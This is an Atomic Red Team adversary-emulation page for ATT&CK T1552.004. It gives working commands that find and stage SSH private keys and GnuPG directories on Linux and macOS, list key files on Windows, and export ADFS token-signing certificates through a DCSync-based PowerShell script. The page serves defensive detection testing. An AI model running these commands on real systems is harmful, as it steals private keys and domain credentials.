T1552.004
Unsecured Credentials: Private Keys
Description from ATT&CK
Adversaries may search for private key certificate files on compromised systems for insecurely stored credentials. Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures.(Citation: Wikipedia Public Key Crypto) Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, .pfx, .cer, .p7b, .asc.
Adversaries may also look in common key directories, such as ~/.ssh for SSH keys on * nix-based systems or C:\Users\(username)\.ssh\ on Windows. These private keys can be used to authenticate to Remote Services like SSH or for use in decrypting other collected files such as email.
Adversary tools have been discovered that search compromised systems for file extensions relating to cryptographic keys and certificates.(Citation: Kaspersky Careto)(Citation: Palo Alto Prince of Persia)
Some private keys require a password or passphrase for operation, so an adversary may also use Input Capture for keylogging or attempt to Brute Force the passphrase off-line.
Atomic Tests
Atomic Test #1 - Private Keys
Find private keys on the Windows file system. File extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, pfx, .cer, .p7b, .asc
Supported Platforms: windows
auto_generated_guid: 520ce462-7ca7-441e-b5a5-f8347f632696
Inputs:
None
Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)
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dir c:\ /b /s .key | findstr /e .key
Atomic Test #2 - Discover Private SSH Keys
Discover private SSH keys on a macOS or Linux system.
Supported Platforms: macos,linux
auto_generated_guid: 46959285-906d-40fa-9437-5a439accd878
Inputs:
Name | Description | Type | Default Value |
---|---|---|---|
search_path | Path where to start searching from. | Path | / |
output_file | Output file containing locations of SSH key files | Path | /tmp/keyfile_locations.txt |
Attack Commands: Run with sh!
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find #{search_path} -name id_rsa 2>/dev/null >> #{output_file}
Cleanup Commands:
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rm #{output_file}
Atomic Test #3 - Copy Private SSH Keys with CP
Copy private SSH keys on a Linux system to a staging folder using the
command.1
cp
Supported Platforms: linux
auto_generated_guid: 7c247dc7-5128-4643-907b-73a76d9135c3
Inputs:
Name | Description | Type | Default Value |
---|---|---|---|
search_path | Path where to start searching from. | Path | / |
output_folder | Output folder containing copies of SSH private key files | Path | /tmp/art-staging |
Attack Commands: Run with sh!
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mkdir #{output_folder}
find #{search_path} -name id_rsa 2>/dev/null -exec cp --parents {} #{output_folder} \;
Cleanup Commands:
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rm -rf #{output_folder}
Atomic Test #4 - Copy Private SSH Keys with rsync
Copy private SSH keys on a Linux or macOS system to a staging folder using the
command.1
rsync
Supported Platforms: macos,linux
auto_generated_guid: 864bb0b2-6bb5-489a-b43b-a77b3a16d68a
Inputs:
Name | Description | Type | Default Value |
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search_path | Path where to start searching from. | Path | / |
output_folder | Output folder containing copies of SSH private key files | Path | /tmp/art-staging |
Attack Commands: Run with sh!
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mkdir #{output_folder}
find #{search_path} -name id_rsa 2>/dev/null -exec rsync -R {} #{output_folder} \;
Cleanup Commands:
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rm -rf #{output_folder}
Atomic Test #5 - Copy the users GnuPG directory with rsync
Copy the users GnuPG (.gnupg) directory on a Mac or Linux system to a staging folder using the
command.1
rsync
Supported Platforms: macos,linux
auto_generated_guid: 2a5a0601-f5fb-4e2e-aa09-73282ae6afca
Inputs:
Name | Description | Type | Default Value |
---|---|---|---|
search_path | Path where to start searching from | Path | / |
output_folder | Output folder containing a copy of the .gnupg directory | Path | /tmp/GnuPG |
Attack Commands: Run with sh!
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mkdir #{output_folder}
find #{search_path} -type d -name '.gnupg' 2>/dev/null -exec rsync -Rr {} #{output_folder} \;
Cleanup Commands:
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rm -rf #{output_folder}
Atomic Test #6 - ADFS token signing and encryption certificates theft - Local
Retrieve ADFS token signing and encrypting certificates. This is a precursor to the Golden SAML attack (T1606.002). You must be signed in as Administrator on an ADFS server. Based on https://o365blog.com/post/adfs/ and https://github.com/fireeye/ADFSDump.
Supported Platforms: windows
auto_generated_guid: 78e95057-d429-4e66-8f82-0f060c1ac96f
Inputs:
None
Attack Commands: Run with powershell!
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Import-Module AADInternals -Force
Export-AADIntADFSCertificates
Get-ChildItem | Where-Object {$_ -like "ADFS*"}
Write-Host "`nCertificates retrieved successfully"
Cleanup Commands:
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Remove-Item -Path ".\ADFS_encryption.pfx" -ErrorAction Ignore
Remove-Item -Path ".\ADFS_signing.pfx" -ErrorAction Ignore
Dependencies: Run with powershell!
Description: AADInternals module must be installed.
Check Prereq Commands:
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if (Get-Module AADInternals) {exit 0} else {exit 1}
Get Prereq Commands:
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Install-Module -Name AADInternals -Force
Atomic Test #7 - ADFS token signing and encryption certificates theft - Remote
Retrieve ADFS token signing and encrypting certificates. This is a precursor to the Golden SAML attack (T1606.002). You must be signed in as a Domain Administrators user on a domain-joined computer. Based on https://o365blog.com/post/adfs/ and https://github.com/fireeye/ADFSDump.
Supported Platforms: windows
auto_generated_guid: cab413d8-9e4a-4b8d-9b84-c985bd73a442
Inputs:
Name | Description | Type | Default Value |
---|---|---|---|
adfs_service_account_name | Name of the ADFS service account | String | adfs_svc |
replication_user | Username with replication rights. It can be the Domain Admin running the script | String | Administrator |
replication_password | Password of replication_username | String | ReallyStrongPassword |
adfs_server_name | Name of an ADFS server | String | sts.contoso.com |
Attack Commands: Run with powershell!
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Import-Module ActiveDirectory -Force
Import-Module AADInternals -Force | Out-Null
#Get Configuration
$dcServerName = (Get-ADDomainController).HostName
$svc = Get-ADObject -filter * -Properties objectguid,objectsid | Where-Object name -eq "#{adfs_service_account_name}"
$PWord = ConvertTo-SecureString -String "#{replication_password}" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList #{replication_user}, $PWord
# use DCSync to fetch the ADFS service account's NT hash
$hash = Get-AADIntADUserNTHash -ObjectGuid $svc.ObjectGuid -Credentials $Credential -Server $dcServerName -AsHex
$ADFSConfig = Export-AADIntADFSConfiguration -Hash $hash -SID $svc.Objectsid.Value -Server #{adfs_server_name}
# Get certificates decryption key
$Configuration = [xml]$ADFSConfig
$group = $Configuration.ServiceSettingsData.PolicyStore.DkmSettings.Group
$container = $Configuration.ServiceSettingsData.PolicyStore.DkmSettings.ContainerName
$parent = $Configuration.ServiceSettingsData.PolicyStore.DkmSettings.ParentContainerDn
$base = "LDAP://CN=$group,$container,$parent"
$ADSearch = [System.DirectoryServices.DirectorySearcher]::new([System.DirectoryServices.DirectoryEntry]::new($base))
$ADSearch.Filter = '(name=CryptoPolicy)'
$ADSearch.PropertiesToLoad.Clear()
$ADSearch.PropertiesToLoad.Add("displayName") | Out-Null
$aduser = $ADSearch.FindOne()
$keyObjectGuid = $ADUser.Properties["displayName"]
$ADSearch.PropertiesToLoad.Clear()
$ADSearch.PropertiesToLoad.Add("thumbnailphoto") | Out-Null
$ADSearch.Filter="(l=$keyObjectGuid)"
$aduser=$ADSearch.FindOne()
$key=[byte[]]$aduser.Properties["thumbnailphoto"][0]
# Get encrypted certificates from configuration and decrypt them
Export-AADIntADFSCertificates -Configuration $ADFSConfig -Key $key
Get-ChildItem | Where-Object {$_ -like "ADFS*"}
Write-Host "`nCertificates retrieved successfully"
Cleanup Commands:
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Remove-Item -Path ".\ADFS_encryption.pfx" -ErrorAction Ignore
Remove-Item -Path ".\ADFS_signing.pfx" -ErrorAction Ignore
Dependencies: Run with powershell!
Description: AADInternals and ActiveDirectory modules must be installed.
Check Prereq Commands:
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if ($(Get-Module AADInternals) -or $(Get-Module -ListAvailable -Name ActiveDirectory)) {echo 0} else {echo 1}
Get Prereq Commands:
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Install-Module -Name AADInternals -Force